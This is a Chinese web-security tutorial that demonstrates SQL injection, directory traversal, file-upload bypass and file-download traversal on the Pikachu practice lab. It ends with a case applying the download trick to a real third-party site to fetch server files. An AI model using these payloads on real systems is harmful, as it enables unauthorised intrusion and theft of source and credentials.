目录
五. Pikachu案例演示:SQL注入漏洞 数据库操作危害
六. Pikachu案例演示:目录遍历漏洞 源码结构泄漏危害
八. Pikachu案例演示:文件上传漏洞 Web权限丢失危害
前言
本章节将讲解各种WEB层面上的漏洞类型、具体漏洞的危害等级。以简要测试进行实例分析,思维导图中的漏洞也是后面将要学习到的各个知识点,其中针对漏洞的形成原理,如何发现,如何利用将是本章节学习的重点内容。
学习的目的:CTF, SRC, 红蓝对抗, 实战
#简要说明以上漏洞危害情况
#简要说明以上漏洞等级划分
#简要说明以上漏洞重点内容
#简要说明以上漏洞当前形势
一. 不同漏洞的危害程度的意义
学/了解一个漏洞,要明白这个漏洞具体能干嘛(它的危害)?它是可以直截了当地帮助你达成你的目的(拿到网站权限or拿到网站数据),还是只是过程中的某一步骤?比如SQL注入,可以直接获取到关于这个网站对应数据库的权限,注入漏洞将影响到网站相关数据库,通过该漏洞可以获取到网站、和数据库的相关数据,这样的漏洞能不能帮你实现目的?
比如当前场景下的目的是拿到网站权限。然后发现网站存在SQL注入漏洞(单凭SQL注入,有的可以拿到网站权限,有的不能),拿不到的情况下,如果获取到了网站数据,然后网站数据包含了管理员的账密,就可以通过账密再登陆到网站后台,从后台再进行权限提升,获取网站权限。这样的情况下SQL注入漏洞只起到了帮助的作用,没有直接获取网站权限。所以所谓的漏洞危害,就是理清利用每个漏洞能得到的东西。
有的漏洞可以直接影响到网站权限、甚至服务器权限(操作系统层面)。有些漏洞仅仅有利于获取某些有价值的信息,但不足以拿到权限,需要后期工作。如XSS跨站漏洞,大部份工具围绕管理员权限,就是利用cookie得到网站后台权限,XSS跨站攻击成功也仅仅是获得网站后台权限,并没有获取到网站权限或服务器权限。——每个漏洞,危害程度是不一样的,能起到的作用是不一样的。
二. 不同漏洞的等级划分
各SRC平台区分漏洞等级。
高危:SQL注入、文件上传、文件包含、代码执行、未授权访问等。这几个漏洞属于高危漏洞,因为直接影响到网站权限/数据库权限。涉及到数据的安全或权限的丢失,一般都属于高危漏洞。
中危:有部分影响。反序列化、逻辑安全。
低危:小部分的信息泄露(不是数据,是指网站源码、部分账密之类的信息)泄漏并不会影响很大。如XSS跨站漏洞、目录遍历、文件读取……
漏洞的等级可以反映漏洞的重要程度。高危漏洞是重点。
三. 以上漏洞重点内容
从CTF角度出发:喜欢考SQL注入、文件上传、反序列化、代码执行。
从SRC角度出发:图片漏洞都能出现。逻辑安全较多(0元购……)。
从红蓝对抗出发:基本是和权限挂钩的高危漏洞。文件上传、文件包含、代码执行、命令执行较多。XSS跨站较少。
——把目的和漏洞挂钩,对症下药,重点学习!
四. 以上漏洞当前形势
结合当前网络安全形势,随技术的发展漏洞肯定会越来越少,但找不到不意味着没有,可能是信息收集或社工时因为不了解漏洞的原理而出现纰漏或判断失误。找不到漏洞,比如找不到SQL注入漏洞,可能是信息收集做的不好,或者对该漏洞学习、理解得不充分,或者用的工具有问题。经验不足也是一个原因,老手就能知道在网站的什么地方容易出现什么漏洞。
——因为你菜😓或者网站确实没有😊
五. Pikachu案例演示:SQL注入漏洞 数据库操作危害
参考:GitHub - zhuifengshaonianhanlu/pikachu: 一个好玩的Web安全-漏洞测试平台
(base) heather@MacBook-Air ~ % docker pull area39/pikachu Using default tag: latest latest: Pulling from area39/pikachu c64513b74145: Pulling fs layer 01b8b12bad90: Pulling fs layer c5d85cf7a05f: Pulling fs layer b6b268720157: Pulling fs layer e12192999ff1: Pulling fs layer d39ece66b667: Pulling fs layer 65599be66378: Pulling fs layer c75fcebdae6f: Pulling fs layer 87b4f02da429: Pulling fs layer b6b268720157: Waiting 9cbd01d2a616: Downloading [===========================> ] 103.4MB/189.9MB 65599be66378: Waiting 9cbd01d2a616: Downloading 47.25MB/189.9MB
mysql> show databases; mysql> use pikachu; mysql> show tables; +-------------------+ | Tables_in_pikachu | +-------------------+ | httpinfo | | member | | message | | users | | xssblind | +-------------------+ 5 rows in set(0.00 sec) mysql> select * from users; +----+----------+---------------------------------+-------+ | id | username | password | level | +----+----------+---------------------------------+-------+ | 1 | admin | e10adc3949ba59abbe56e057f20f883e | 1 | | 2 | pikachu | 670b14728ad9902aecba32e22fa4f6bd | 2 | | 3 | test | e99a18c428cb38d5f260853678922e03 | 3 | +----+----------+---------------------------------+-------+ 3 rows in set(0.00 sec) mysql> select * from member; +----+----------+----------------------------------+------+-------------+-----------------------+-------------------+ | id | username | pw | sex | phonenum | address | email | +----+----------+----------------------------------+------+-------------+-----------------------+-------------------+ | 1 | vince | e10adc3949ba59abbe56e057f20f883e | boy | 18626545453 | chain | vince@pikachu.com | | 2 | allen | e10adc3949ba59abbe56e057f20f883e | boy | 13676767767 | nba 76 | allen@pikachu.com | | 3 | kobe | e10adc3949ba59abbe56e057f20f883e | boy | 15988767673 | nba lakes | kobe@pikachu.com | | 4 | grady | e10adc3949ba59abbe56e057f20f883e | boy | 13676765545 | nba hs | grady@pikachu.com | | 5 | kevin | e10adc3949ba59abbe56e057f20f883e | boy | 13677676754 | Oklahoma City Thunder | kevin@pikachu.com | | 6 | lucy | e10adc3949ba59abbe56e057f20f883e | girl | 12345678922 | usa | lucy@pikachu.com | | 7 | lili | e10adc3949ba59abbe56e057f20f883e | girl | 18656565545 | usa | lili@pikachu.com | +----+----------+----------------------------------+------+-------------+-----------------------+-------------------+
在文件/app/vul/sqli/sqli_id.php第27行下面增加一行 echo $query; 保存退出,并重新在网页点击查询,发现网页显示查询语句:
select username,email from member where id=1
<?php /** * Created by runner.han * There is nothing new under the sun */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "sqli_id.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR . 'header.php'; include_once $PIKA_ROOT_DIR."inc/config.inc.php"; include_once $PIKA_ROOT_DIR."inc/function.php"; include_once $PIKA_ROOT_DIR."inc/mysql.inc.php"; $link=connect(); $html=''; if(isset($_POST['submit']) && $_POST['id']!=null){ //这里没有做任何处理,直接拼到select里面去了,形成Sql注入 $id=$_POST['id']; $query="select username,email from member where id=$id"; echo $query; $result=execute($link, $query); //这里如果用==1,会严格一点 if(mysqli_num_rows($result)>=1){ while($data=mysqli_fetch_assoc($result)){ $username=$data['username']; $email=$data['email']; $html.="<p class='notice'>hello,{$username} <br />your email is: {$email}</p>"; } }else{ $html.="<p class='notice'>您输入的user id不存在,请重新输入!</p>"; } } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="sqli.php">sqli</a> </li> <li class="active">数字型注入</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)" data-content="变量类型为数字"> 点一下提示~ </a> </div> <div class="page-content"> <div id="sqli_main"> <p class="sqli_title">select your userid?</p> <form class="sqli_id_form" method="post"> <select name="id"> <option value="">---</option> <option value="1">1</option> <option value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> </select> <input class="sqli_submit" type="submit" name="submit" value="查询" /> </form> <?php echo $html;?> </div> </div><!-- /.page-content --> </div> </div><!-- /.main-content --> <?php include_once $PIKA_ROOT_DIR . 'footer.php'; ?>
再次点击查询,打开BurpSuite截获数据包,模拟提交一下,查看执行的SQL语句:
select username,email from member where id=1
修改数据包id=1a,模拟提交一下,,查看执行的SQL语句:
select username,email from member where id=1a Unknown column '1a'
修改数据包最后一行的语句为 id=1 union select username,password from users
发现网页返回数据库里的数据了:
这就是一个基本的SQL注入演示。原本是由网站向数据库查询内容,攻击者通过抓包更改查询内容,达到窃取数据的效果。通过注入点,可以和数据库里的其他数据交互、操作其它的数据,包括很敏感的信息比如管理员账密。
六. Pikachu案例演示:目录遍历漏洞 源码结构泄漏危害
点两个链接时,网址变更了:
网站的地址大多分为:网站域名->文件夹->文件->参数名->参数值
http://127.0.0.1:8080/pikachu/vul/dir/dir_list.php?title=truman.php http://127.0.0.1:8080/pikachu/vul/dir/dir_list.php?title=jarheads.php
truman.php 和 jarheads.php 放在 pikachu/vul/dir/soup 下。
打开文件 pikachu/vul/dir/dir_list.php:
<?php /** * Created by runner.han * There is nothing new under the sun * */ $SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1); if ($SELF_PAGE = "dir.php"){ $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','',''); } $PIKA_ROOT_DIR = "../../"; include_once $PIKA_ROOT_DIR . 'header.php'; $html=''; if(isset($_GET['title'])){ $filename=$_GET['title']; //这里直接把传进来的内容进行了require(),造成问题 require "soup/$filename"; // echo $html; } ?> <div class="main-content"> <div class="main-content-inner"> <div class="breadcrumbs ace-save-state" id="breadcrumbs"> <ul class="breadcrumb"> <li> <i class="ace-icon fa fa-home home-icon"></i> <a href="dir.php">目录遍历</a> </li> <li class="active">../../</li> </ul><!-- /.breadcrumb --> <a href="#" style="float:right" data-container="body" data-toggle="popover" data-placement="bottom" title="tips(再点一下关闭)" data-content="先好好读一下这两篇小短文在继续学习吧.."> 点一下提示~ </a> </div> <div class="page-content"> <div id="dt_main"> <p class="dt_title">(1)it's time to get up!</p> <a class="dt_title" href="dir_list.php?title=jarheads.php">we're jarheads!</a> <p class="dt_title">(2)it's time to say goodbye!</p> <a class="dt_title" href="dir_list.php?title=truman.php">Truman's word!</a> </div> <br /> <br /> <div> <?php echo $html;?> </div> </div><!-- /.page-content --> </div> </div><!-- /.main-content --> <?php include_once $PIKA_ROOT_DIR . 'footer.php'; ?>
如果在 pikachu/vul/dir/soup 下新建一个 1.php 文件并随便写点内容 1111,访问 http://127.0.0.1:8080/pikachu/vul/dir/dir_list.php?title=1.php 则网页返回 1111。
那么,己知:http://127.0.0.1:8080/pikachu/vul/dir/dir_list.php?title=1.php 获取的是:D:\phpstudy\PHPTutorial\www\pikachu\vul\dir\soup\1.php 的代码。
如何获取:D:\phpstudy\PHPTutorial\www\xx.php 这个 xx.php 的代码?
答案:访问 http://127.0.0.1:8080/pikachu/vul/dir/dir_list.php?title=../../../../xx.php
目录遍历漏洞:可以跨目录文件读取。这个漏洞对渗透有什么帮助?
比如:已知数据库配置文件在 D:\phpstudy\PHPTutorial\www\pikachu\inc\config.inc.php,访问 http://127.0.0.1:8080/pikachu/vul/dir/dir_list.php?title=../../../inc/config.inc.php
没有在网站回显是因为php代码被执行了,把php标签删掉就可以执行遍历了,还是有缺陷,但是这个漏洞的目的是可以打开webshell和木马文件,是和文件上传搭配的。
Q:那怎么知道网站目录呢?
A:扫描工具、CMS源码。
GitHub - 7kbstorm/7kbscan-WebPathBrute: 7kbscan-WebPathBrute Web路径暴力探测工具
目录字典丰富的情况下是绝对可以扫到的。
在 D:\phpstudy\PHPTutorial\www\ 下新建 dir.php,加入以下目录遍历代码:
<?php function my_dir($dir) { $files = []; if(@$handle = opendir($dir)) { while(($file = readdir($handle)) !== false) { if($file != ".." && $file != ".") { if(is_dir($dir . "/" . $file)) { //如果是子文件夹,进行递归 $files[$file] = my_dir($dir . "/" . $file); } else { $files[] = $file; } } } closedir($handle); } return $files; } echo "<pre>"; $d=$_GET['d']; print_r(my_dir($d)); echo "</pre>";
再访问 127.0.0.1:8080/dir.php?d=pikachu 则可以获得 D:\phpstudy\PHPTutorial\www\pikachu 的目录结构。
访问 127.0.0.1:8080/dir.php?d=..\ 则获取的是 D:\phpstudy\PHPTutorial\ 下所有目录。
总结:网站源码的目录蕴含大量信息,有时可以获取敏感信息和备份文件。目录遍历漏洞一般要和其他的漏洞配合才能实现漏洞的作用。
七. 文件读取漏洞 源码内容获取危害
如果说目录遍历漏洞获取的是全局结构,且不能读写具体文件,文件读取就是反过来,可以读取具体文件,但并不知道全局结构。
八. Pikachu案例演示:文件上传漏洞 Web权限丢失危害
Unsafe Fileupload -> MIME type
修改 info.php 文件后缀 info.jpg,截获并修改数据包:
访问发现php文件成功执行。
这是利用文件上传漏洞,用BurpSuite实现绕过文件格式检查、上传PHP文件,再访问上传上去的文件,就能触发文件的执行,如果上传的是木马文件就可以获取到WebShell了。
注意:文件上传一般是高危漏洞,直接影响网站权限,因为要是上传的是木马文件可以直接拿下服务器。
九. Pikachu案例演示:文件下载漏洞
Unsafe Filedownload
右键找到文件的下载地址:
http://127.0.0.1:8080/pikachu/vul/unsafedownload/execdownload.php?filename=kb.png http://127.0.0.1:8080/pikachu/vul/unsafedownload/execdownload.php?filename=ai.png
https://www.cnblogs.com/swl0221/p/12641721.html
前端传递信息到后端,后端查找ai.png文件又输出到前端,用户可以在前端下载信息,这么一解释是不是令人想起文件包含漏洞,同样,利用这个漏洞的方式和文件包含漏洞类似,直接修改前端链接去获取信息。比如说猜测它是linux操作系统,那我们就可以去获取它的用户的密码信息:
http://127.0.0.1:8080/pikachu/vul/unsafedownload/down_nba.php?filename=../../../../../../../etc/password
http://127.0.0.1:8080/pikachu/vul/unsafedownload/execdownload.php?filename=../../../../xx.php
成功下载 D:\phpstudy\PHPTutorial\www\xx.php。
十. 扩展补充:真实案例 文件下载漏洞
真实案例补充:当贝酷狗音乐_当贝酷狗音乐TV版APK下载_电视版 for 安卓TV_ZNDS软件
右键“立即下载”,选择复制链接:
http://down.znds.com/getdownurl/?s=L2Rvd24vMjAyMzAyMDYvZGJrZ3l5XzEuOS4zX2RhbmdiZWkuYXBr
下载文件后,浏览器内复制文件下载地址:
http://27.148.142.205/app.znds.com/down/20230206/dbkgyy_1.9.3_dangbei.apk
- base64解密:L2Rvd24vMjAyMzAyMDYvZGJrZ3l5XzEuOS4zX2RhbmdiZWkuYXBr
- 获得明文:/down/20230206/dbkgyy_1.9.3_dangbei.apk
同理操作另一个apk文件,获取下载地址:
http://down.znds.com/getdownurl/?s=L2Rvd24vMjAyMzAzMjEvaHN0dl82LjEuMS40X2RhbmdiZWkuYXBr http://27.148.142.205/app.znds.com/down/20230321/hstv_6.1.1.4_dangbei.apk
- base64解密:L2Rvd24vMjAyMzAzMjEvaHN0dl82LjEuMS40X2RhbmdiZWkuYXBr
- 获得明文:/down/20230321/hstv_6.1.1.4_dangbei.apk
那么如果此时想要下载 http://27.148.142.205/app.znds.com/index.php 文件,只需对/index.php 作base64加密,拼接到 http://down.znds.com/getdownurl/?s=之后即可。